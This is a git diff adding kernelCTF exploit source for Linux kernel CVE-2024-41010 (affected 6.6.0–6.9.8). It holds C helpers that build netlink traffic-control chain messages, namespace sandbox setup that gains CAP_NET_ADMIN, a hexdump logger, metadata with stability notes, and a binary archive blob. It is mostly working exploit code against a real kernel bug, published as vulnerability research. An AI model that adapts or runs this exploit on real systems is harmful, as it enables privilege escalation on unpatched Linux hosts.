+ + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + + +/** + * rt_cloneroute(): nothing, not developing + * @sock: socket bound to the route table netlink +*/ +void rt_cloneroute(int sock, unsigned int link_id) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct rtmsg *rtm; + int proto, err; + char buf_recv[1024] = {0}; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADD_ROUTE); + if (!nlh) + errout("rt_cloneroute malloc"); + + memset(nlh, 0, ADD_ROUTE); + nlh->nlmsg_len = ADD_ROUTE; + nlh->nlmsg_type = RTM_GETROUTE; // inet_dump_fib + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + rtm = NLMSG_DATA(nlh); + rtm->rtm_flags = RTM_F_CLONED; + rtm->rtm_family = AF_INET; + + + /* prepare asociated attribute */ + tb = (void *)rtm + NLMSG_ALIGN(sizeof(struct rtmsg)); + tb = set_u32_attr(tb, RTA_OIF, link_id); + tb = set_u32_attr(tb, RTA_TABLE, RT_TABLE_MAIN); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + err = sendmsg(sock, &msg, 0); + if (!err) { + errout("sendmsg"); + } + + /* receive message */ + iov[0].iov_base = (void *)buf_recv; + iov[0].iov_len = BUF_SIZE; + memset(&msg, 0, sizeof(msg)); + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + err = recvmsg(sock, &msg, 0); + if (err == -1) + errout("recvmsg"); + + hexdump(buf_recv, 0x200); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_newchain(): add chain in queueing discipline + * @sock: socket bound to the route table netlink + * @link_id: link_id + * @chain_id: chain_id + */ +void rt_newchain(int sock, unsigned int link_id, unsigned int chain_id, unsigned int parent) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh = NULL; + struct nlattr *tca; + struct tcmsg *tcm; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADD_CLASS); + if (!nlh) { + errout("rt_delchain malloc"); + } + + memset(nlh, 0, ADD_CLASS); + nlh->nlmsg_len = ADD_CLASS; + nlh->nlmsg_type = RTM_NEWCHAIN; // tc_ctl_chain + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + // Attribute failed policy validation + tcm = NLMSG_DATA(nlh); + tcm->tcm_ifindex = link_id; + tcm->tcm_family = AF_INET; + tcm->tcm_parent = parent; + + /* prepare asociated attribute */ + tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); + tca = set_u32_attr(tca, TCA_CHAIN, chain_id); + + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_delchain(): delete the chain in queueing discipline + * @sock: socket bound to the route table netlink + * @link_id: idendify link + */ +void rt_delchain(int sock, unsigned int link_id, unsigned int parent) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh = NULL; + struct nlattr *tca; + struct tcmsg *tcm; + + + // printf("[+] rt_delchain with link_id: 0x%x\n", link_id); + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADD_CLASS); + if (!nlh) { + errout("rt_delchain malloc"); + } + + memset(nlh, 0, ADD_CLASS); + nlh->nlmsg_len = ADD_CLASS; + nlh->nlmsg_type = RTM_DELCHAIN; // tc_ctl_chain + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + tcm = NLMSG_DATA(nlh); + tcm->tcm_ifindex = link_id; + tcm->tcm_family = AF_INET; + tcm->tcm_parent = parent; + + /* prepare asociated attribute */ + tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); + + + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/log.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/log.c new file mode 100644 index 00000000..095a386f --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/log.c @@ -0,0 +1,41 @@ + +#include +#include +#include +#include + +void debug(void){ + getchar(); +} + +/* Hexdump utility for debugging purposes */ +void hexdump(void *mem, unsigned int len) +{ + unsigned int i = 0, j = 0; + + for (i = 0; i < len + ((len % 16) ? (16 - len % 16) : 0); i++) + { + if (i % 16 == 0) + printf("0x%06x: ", i); + + if (i < len) + printf("%02x ", 0xFF & ((char *)mem)[i]); + else + printf(" "); + + if (i % 16 == (16 - 1)) + { + for (j = i - (16 - 1); j <= i; j++) + { + if (j >= len) + putchar(' '); + else if (isprint(((char *)mem)[j])) + putchar(0xFF & ((char *)mem)[j]); + else + putchar('.'); + } + putchar('\n'); + } + } + return; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/rtnetlink.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/rtnetlink.c new file mode 100644 index 00000000..63ca0248 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/rtnetlink.c @@ -0,0 +1,153 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "rtnetlink.h" +#include "log.h" + +/** + * set_str_attr(): Prepare a 8bytes of string netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @name: Buffer to copy into the attribute + */ +struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, char *name){ + int len = 8+sizeof(struct nlattr); + attr->nla_type = type; + attr->nla_len = 8; + memcpy(NLA_ATTR(attr), name, len); + + return (void*)attr + NLA_ALIGN(len) + sizeof(struct nlattr); +} + +struct nlattr *set_str_attr(struct nlattr *attr, uint16_t type, char *name){ + int len = strlen(name)+sizeof(struct nlattr); + attr->nla_type = type; + attr->nla_len = len; + memcpy(NLA_ATTR(attr), name, len); + + return (void*)attr + NLA_ALIGN(len); +} + +struct nlattr *set_strn_attr(struct nlattr *attr, uint16_t type, char *name, int len){ + attr->nla_type = type; + attr->nla_len = len; + memcpy(NLA_ATTR(attr), name, len); + + return (void*)attr + NLA_ALIGN(len); +} + +/** + * set_binary_attr(): Prepare a byte array netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @buffer: Buffer with data to send + * @buffer_size: Size of the previous buffer + */ +struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size) { + attr->nla_type = type; + attr->nla_len = NLA_BIN_SIZE(buffer_size); + memcpy(NLA_ATTR(attr), buffer, buffer_size); + + return (void *)attr + NLA_ALIGN(NLA_BIN_SIZE(buffer_size)); +} + +/** + * set_nested_attr(): Prepare a nested netlink attribute + * @attr: Attribute to fill + * @type: Type of the nested attribute + * @data_len: Length of the nested attribute + */ +struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len) { + attr->nla_type = type; + attr->nla_len = (data_len + sizeof(struct nlattr)); + return (void *)attr + sizeof(struct nlattr); +} + +/** + * set_u32_attr(): Prepare an integer netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @value: Value of this attribute + */ +struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value) { + attr->nla_type = type; + attr->nla_len = sizeof(uint32_t) + sizeof(struct nlattr); + *(uint32_t *)NLA_ATTR(attr) = htonl(value); + + return (void *)attr + sizeof(uint32_t) + sizeof(struct nlattr); +} +struct nlattr *set_u32_attr_nat(struct nlattr *attr, uint16_t type, uint32_t value) { + attr->nla_type = type; + attr->nla_len = sizeof(uint32_t) + sizeof(struct nlattr); + *(uint32_t *)NLA_ATTR(attr) = value; + + return (void *)attr + sizeof(uint32_t) + sizeof(struct nlattr); +} + +/** + * set_u16_attr(): Prepare an integer netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @value: Value of this attribute + */ +struct nlattr *set_u16_attr(struct nlattr *attr, uint16_t type, uint16_t value) { + attr->nla_type = type; + attr->nla_len = NLA_ALIGN(sizeof(uint16_t) + sizeof(struct nlattr)); + *(uint16_t *)NLA_ATTR(attr) = (value); + + return (void *)attr + NLA_ALIGN(sizeof(uint16_t) + sizeof(struct nlattr)); +} + +/** + * set_u8_attr(): Prepare an integer netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @value: Value of this attribute + */ +struct nlattr *set_u8_attr(struct nlattr *attr, uint16_t type, uint8_t value) { + attr->nla_type = type; + attr->nla_len = NLA_ALIGN(sizeof(uint8_t) + sizeof(struct nlattr)); + *(uint8_t *)NLA_ATTR(attr) = value; + + return (void *)attr + NLA_ALIGN(sizeof(uint8_t) + sizeof(struct nlattr)); +} + + + /** + * set_u64_attr(): Prepare a 64 bits integer netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @value: Value of this attribute + */ +struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value) { + attr->nla_type = type; + attr->nla_len = sizeof(uint64_t) + sizeof(struct nlattr); + *(uint64_t *)NLA_ATTR(attr) = htobe64(value); + + return (void *)attr + sizeof(uint64_t) + sizeof(struct nlattr); +} + + + /** + * set_flag_attr(): Prepare a flag doesn't need data integer netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @value: Value of this attribute + */ +struct nlattr *set_flag_attr(struct nlattr *attr, uint16_t type) { + attr->nla_type = type; + attr->nla_len = sizeof(struct nlattr); + // *(uint64_t *)NLA_ATTR(attr) = htobe64(value); + + return (void *)attr + sizeof(struct nlattr); +} diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/setup.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/setup.c new file mode 100644 index 00000000..d4aab7ae --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/setup.c @@ -0,0 +1,62 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "setup.h" +#include "log.h" + +/** + * assign_to_core(): set the program running in the one cpu + * @core_id: core using +*/ +void assign_to_core(int core_id) +{ + cpu_set_t mask; + CPU_ZERO(&mask); + CPU_SET(core_id, &mask); + if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0) + { + errout("sched_setaffinity"); + } +} + +/** + * setup_sandbox(): create new network namespace and new user for enable CAP_NET_ADMIN +*/ +int setup_sandbox(void) +{ + struct rlimit fdlim; + cpu_set_t set; + int pid; + + // assign_to_core(DEF_CORE); + /* + Execute ourselves in a new network namespace to + be able to trigger and exploit the bug + */ + + /* For another user can communicate with netlink - somehow */ + if (unshare(CLONE_NEWUSER) < 0) + { + errout("[-] unshare(CLONE_NEWUSER)"); + // return -1; + } + + /* Network namespaces provide isolation of the system resources */ + if (unshare(CLONE_NEWNET) < 0) + { + errout("[-] unshare(CLONE_NEWNET)"); + // return -1; + } + + return 0; +} + + diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/metadata.json b/pocs/linux/kernelctf/CVE-2024-41010_lts/metadata.json new file mode 100644 index 00000000..280e810b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/metadata.json @@ -0,0 +1,34 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v2.json", + "submission_ids":[ + "exp179" + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=1cb6f0bae50441f4b4b32a28315853b279c7404e", + "cve":"CVE-2024-41010", + "affected_versions":[ + "6.6.0 - 6.9.8" + ], + "requirements":{ + "attack_surface":[ + ], + "capabilities":[ + "CAP_NET_ADMIN" + ], + "kernel_config":[ + "CONFIG_NET_SCH_INGRESS", + "CONFIG_USER_NS" + ] + } + }, + "exploits":[ + { + "environment":"lts-6.6.31", + "uses":[ + "userns" + ], + "requires_seperate_kaslr_leak":false, + "stability_notes":"5-60% depending on the environment" + } + ] + } diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/original.tar.gz b/pocs/linux/kernelctf/CVE-2024-41010_lts/original.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..3a3d7b672f11101c39c0e40f9de83982169c10ef GIT binary patch literal 18041 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 